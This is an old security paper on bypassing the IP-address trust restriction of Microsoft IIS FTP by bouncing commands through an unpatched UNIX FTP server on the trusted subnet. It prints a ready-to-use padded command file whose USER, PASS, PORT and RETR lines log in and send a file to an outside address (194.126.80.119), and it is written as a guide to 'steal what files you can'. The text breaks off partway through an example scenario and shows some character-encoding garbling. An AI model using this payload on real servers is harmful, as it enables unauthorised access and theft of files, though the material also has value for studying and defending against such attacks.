The Microsoft ftp service, as provided for by Internet Information Server can be configured to allow connections from only certain ("trusted") IP addresses. This paper describes how this security arrangement could be by-passed depending on th e configuration of the remote network. This is based on a "bounce" attack but it is important to note that the target ftp server does not have to have the registry setting "EnablePortAttack" set to 1; in other words the server doesnÆt have to be configured to allow an ftp bounce attack. You do, however, need one ftp server that you run the bounce attack from. This server has to be included in the range of trusted IP addresses. This will most likely be an unpatched UNIX server on the same subnet as your target IIS server.
Basically you are using this server as a platform to log into the IIS server and steal what files you can. The login process and other commands are contained in a file called cmds.txt and are sent to the IIS server using the ftp bounce attack. When a l ogin occurs this way, because of buffering the ftp service on IIS will read (or at least look for) a command every 497 characters after the first character of each command. So cmds.txt will begin with "user anonymous". 497 characters after the æ uÆ of user IIS will read the next command. These characters can be garbage.
USER ANONYMOUS
1234567890abcdefghijklmnopqrstuvwxyz1
1234567890abcdefghijklmnopqrstuvwxyz2
1234567890abcdefghijklmnopqrstuvwxyz3
1234567890abcdefghijklmnopqrstuvwxyz4
1234567890abcdefghijklmnopqrstuvwxyz5
1234567890abcdefghijklmnopqrstuvwxyz6
1234567890abcdefghijklmnopqrstuvwxyz7
1234567890abcdefghijklmnopqrstuvwxyz8
1234567890abcdefghijklmnopqrstuvwxyz9
1234567890abcdefghijklmnopqrstuvwxyz0
1234567890abcdefghijklmnopqrstuvwxyzA
1234567890abcdefghijklmnopqrstuvwxyzB
1234567890abcdefghijklmnopqPASS A@HERE
1234567890abcdefghijklmnopqrstuvwxyz1
1234567890abcdefghijklmnopqrstuvwxyz2
1234567890abcdefghijklmnopqrstuvwxyz3
1234567890abcdefghijklmnopqrstuvwxyz4
1234567890abcdefghijklmnopqrstuvwxyz5
1234567890abcdefghijklmnopqrstuvwxyz6
1234567890abcdefghijklmnopqrstuvwxyz7
1234567890abcdefghijklmnopqrstuvwxyz8
1234567890abcdefghijklmnopqrstuvwxyz9
1234567890abcdefghijklmnopqrstuvwxyz0
1234567890abcdefghijklmnopqrstuvwxyzA
1234567890abcdefghijklmnopqrstuvwxyzB
1234567890abcdefghijklmnopqrstPORT 194,126,80,119,105,34
1234567890abcdefghijklmnopqrstuvwxyz1
1234567890abcdefghijklmnopqrstuvwxyz2
1234567890abcdefghijklmnopqrstuvwxyz3
1234567890abcdefghijklmnopqrstuvwxyz4
1234567890abcdefghijklmnopqrstuvwxyz5
1234567890abcdefghijklmnopqrstuvwxyz6
1234567890abcdefghijklmnopqrstuvwxyz7
1234567890abcdefghijklmnopqrstuvwxyz8
1234567890abcdefghijklmnopqrstuvwxyz9
1234567890abcdefghijklmnopqrstuvwxyz0
1234567890abcdefghijklmnopqrstuvwxyzA
1234567890abcdefghijklmnopqrstuvwxyzB
1234567890abcdvRETR FILE.TXT
1234567890-----à more garbage
I have put the commands in upper case here so they stand out.
So hereÆs how the attack would go :
Scenario:
HostA is a UNIX running an ftp service that has not been patched against bounce attacks. You can log into this server anonymously and have write permissions on at least one directory. HostAÆs IP address is 123.123.123.120
HostB is an NT server running IIS and allows anonymous connections but only from IP addresses of the same subnet range eg 123.123.123.1 to 123.123.123.254. HostB has the IP address 123.123.123.123.